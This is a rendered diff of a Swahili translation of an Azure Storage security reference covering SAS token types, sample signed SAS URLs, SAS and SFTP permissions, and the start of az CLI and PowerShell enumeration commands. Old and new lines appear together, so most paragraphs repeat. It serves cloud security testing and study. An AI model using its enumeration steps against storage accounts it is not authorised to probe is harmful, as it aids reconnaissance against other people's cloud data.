Shared Access Signatures (SAS) ni URLs salama, zilizopangwa kwa muda ambazo zinatoa ruhusa maalum za kufikia rasilimali katika akaunti ya Azure Storage bila kufichua access keys za akaunti. Wakati access keys zinatoa ufikiaji wa kiutawala kwa rasilimali zote, SAS inaruhusu udhibiti wa kina kwa kubainisha ruhusa (kama read au write) na kuweka muda wa kumalizika.
|
||||
Shared Access Signatures (SAS) ni URL salama, zenye muda mdogo ambazo zinatoa ruhusa maalum za kufikia rasilimali katika akaunti ya Azure Storage bila kufichua access keys za akaunti. Wakati access keys zinatoa ufikiaji kamili wa kiutawala kwa rasilimali zote, SAS inaruhusu udhibiti wa kina kwa kubainisha ruhusa (kama read au write) na kuweka wakati wa kuisha.
|
||||
|
||||
#### SAS Types
|
||||
|
||||
- **User delegation SAS**: Hii inaundwa kutoka kwa Entra ID principal ambayo itasaini SAS na kurithisha ruhusa kutoka kwa mtumiaji hadi SAS. Inaweza kutumika tu na blob and data lake storage ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Inawezekana kufuta SAS zote zilizotengenezwa za user delegated SAS.
|
||||
- Hata ikiwa inawezekana kuunda delegation SAS yenye ruhusa "za ziada" kuliko zile mtumiaji anazomiliki, ikiwa principal haina ruhusa hizo, haitafanya kazi (no privesc).
|
||||
- **Service SAS**: Hii imesainiwa kwa kutumia moja ya storage account access keys. Inaweza kutumika kutoa ufikiaji kwa rasilimali maalum katika huduma moja ya storage. Ikiwa key inarekebishwa/kuwekwa upya, SAS itasimama kufanya kazi.
|
||||
- **Account SAS**: Pia imesainiwa kwa kutumia moja ya storage account access keys. Inatoa ufikiaji kwa rasilimali katika huduma mbalimbali za storage account (Blob, Queue, Table, File) na inaweza kujumuisha operesheni za ngazi ya huduma.
|
||||
- **User delegation SAS**: Hii inaundwa kutoka kwa **Entra ID principal** ambayo itasaini SAS na kupeana ruhusa kutoka kwa mtumiaji kwenda kwa SAS. Inaweza kutumika tu na **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Inawezekana **ku-revoke** SAS zote zilizotengenezwa kwa user delegation.
|
||||
- Hata ikiwa inawezekana kuunda delegation SAS yenye ruhusa "za ziada" kuliko zile mtumiaji anazomiliki. Hata hivyo, ikiwa principal hana ruhusa hizo, haitafanya kazi (hakuna privesc).
|
||||
- **Service SAS**: Hii inasainiwa kwa kutumia moja ya storage account **access keys**. Inaweza kutumika kutoa ufikiaji kwa rasilimali maalum katika huduma moja ya storage. Ikiwa key inabadilishwa, SAS itasimama kufanya kazi.
|
||||
- **Account SAS**: Pia inasainiwa kwa mojawapo ya storage account **access keys**. Inatoa ufikiaji kwa rasilimali kupitia huduma za storage account (Blob, Queue, Table, File) na inaweza kujumuisha operesheni za ngazi ya service.
|
||||
|
||||
A SAS URL signed by an **access key** looks like this:
|
||||
A SAS URL iliyosainiwa na **access key** inaonekana hivi:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
A SAS URL signed as a **user delegation** looks like this:
|
||||
A SAS URL iliyosainiwa kama **user delegation** inaonekana hivi:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
|
||||
|
||||
Note some **http params**:
|
||||
Tazama baadhi ya **http params**:
|
||||
|
||||
- The **`se`** param indicates the **expiration date** of the SAS
|
||||
- The **`sp`** param indicates the **permissions** of the SAS
|
||||
- The **`sig`** is the **signature** validating the SAS
|
||||
- Parametri ya **`se`** inaonyesha **tarehe ya kumalizika** ya SAS
|
||||
- Parametri ya **`sp`** inaonyesha **ruhusa** za SAS
|
||||
- **`sig`** ni **saini** inayothibitisha SAS
|
||||
|
||||
#### SAS permissions
|
||||
|
||||
Wakati wa kuunda SAS, inahitajika kubainisha ruhusa ambazo inapaswa kutoa. Kulingana na kitu (object) ambacho SAS imetengenezwa juu yake, ruhusa tofauti zinaweza kujumuishwa. Kwa mfano:
|
||||
Unapotengeneza SAS inahitajika kuonyesha ruhusa ambazo inapaswa kutoa. Kulingana na kitu ambacho SAS inaundwa juu yake, ruhusa tofauti zinaweza kujumuishwa. Kwa mfano:
|
||||
|
||||
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
|
||||
|
||||
## SFTP Support for Azure Blob Storage
|
||||
|
||||
Azure Blob Storage sasa inaunga mkono SSH File Transfer Protocol (SFTP), ikiruhusu uhamisho wa faili uliosahala na usimamizi moja kwa moja hadi Blob Storage bila kuhitaji suluhisho maalum au bidhaa za third-party.
|
||||
Azure Blob Storage sasa inasaidia SSH File Transfer Protocol (SFTP), ikiruhusu uhamisho wa faili salama na usimamizi moja kwa moja kwenda Blob Storage bila kuhitaji suluhisho maalum au bidhaa za upande wa tatu.
|
||||
|
||||
### Key Features
|
||||
|
||||
- Protocol Support: SFTP inafanya kazi na akaunti za Blob Storage zilizo na hierarchical namespace (HNS) iliyowekwa. Hii ina kupanga blobs katika directories na subdirectories kwa urahisi wa kuvinjari.
|
||||
- Security: SFTP inatumia local user identities kwa authentication na haijumuishi RBAC au ABAC. Kila local user anaweza ku-authenticate kupitia:
|
||||
- Protocol Support: SFTP inafanya kazi na akaunti za Blob Storage zilizo na hierarchical namespace (HNS). Hii inapanga blobs katika saraka na saraka ndogo kwa urahisi wa urambazaji.
|
||||
- Security: SFTP inatumia vitambulisho vya local user kwa uthibitisho na haijumuishi RBAC au ABAC. Kila local user anaweza kuthibitishwa kupitia:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Granular Permissions: Ruhusa kama Read, Write, Delete, na List zinaweza kupewa local users hadi kwa containers 100.
|
||||
- Networking Considerations: Mikuozo ya SFTP hufanywa kupitia port 22. Azure inaunga mkono mipangilio ya mtandao kama firewalls, private endpoints, au virtual networks ili kulinda trafiki ya SFTP.
|
||||
- Granular Permissions: Ruhusa kama Read, Write, Delete, na List zinaweza kutengwa kwa local users kwa container hadi 100.
|
||||
- Networking Considerations: Muunganisho za SFTP hufanyika kupitia port 22. Azure inaunga mkono usanidi wa mtandao kama firewalls, private endpoints, au virtual networks ili kulinda trafiki ya SFTP.
|
||||
|
||||
### Setup Requirements
|
||||
|
||||
- Hierarchical Namespace: HNS lazima iwe imewekwa wakati wa kuunda storage account.
|
||||
- Supported Encryption: Inahitaji cryptographic algorithms zilizokubaliwa na Microsoft Security Development Lifecycle (SDL) (mfano: rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- Hierarchical Namespace: HNS lazima iwe imewezeshwa wakati wa kuunda storage account.
|
||||
- Supported Encryption: Inahitaji algorithimu za kriptografia zilizopitishwa na Microsoft Security Development Lifecycle (SDL) (mfano: rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP Configuration:
|
||||
- Enable SFTP on the storage account.
|
||||
- Create local user identities with appropriate permissions.
|
||||
- Configure home directories for users to define their starting location within the container.
|
||||
- Wezesha SFTP kwenye storage account.
|
||||
- Unda vitambulisho vya local user na ruhusa zinazofaa.
|
||||
- Sanidi home directories kwa watumiaji ili kubainisha eneo lao la kuanzia ndani ya container.
|
||||
|
||||
### Permissions
|
||||
|
||||
| Ruhusa | Alama | Maelezo |
|
||||
| Permission | Symbol | Description |
|
||||
| ---------------------- | ------ | ------------------------------------ |
|
||||
| **Read** | `r` | Soma yaliyomo ya faili. |
|
||||
| **Write** | `w` | Pakia faili na tengeneza directories.|
|
||||
| **List** | `l` | Orodhesha yaliyomo ndani ya directories. |
|
||||
| **Delete** | `d` | Futa faili au directories. |
|
||||
| **Create** | `c` | Unda faili au directories. |
|
||||
| **Modify Ownership** | `o` | Badilisha mtumiaji mwenye miliki au group. |
|
||||
| **Modify Permissions** | `p` | Badilisha ACLs kwenye faili au directories. |
|
||||
| **Write** | `w` | Pakia faili na unda saraka. |
|
||||
| **List** | `l` | Orodhesha yaliyomo ya saraka. |
|
||||
| **Delete** | `d` | Futa faili au saraka. |
|
||||
| **Create** | `c` | Tengeneza faili au saraka. |
|
||||
| **Modify Ownership** | `o` | Badilisha mtumiaji mwenye umiliki au kundi. |
|
||||
| **Modify Permissions** | `p` | Badilisha ACLs kwenye faili au saraka. |
|
||||
|
||||
## Uorodheshaji
|
||||
## Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -372,7 +372,7 @@ az storage account local-user list \
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
<details>
|
||||
<summary>Az PowerShell enumeration</summary>
|
||||
<summary>Kuorodhesha kwa Az PowerShell</summary>
|
||||
```powershell
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount | fl
|
||||
|
||||
Reference in New Issue
Block a user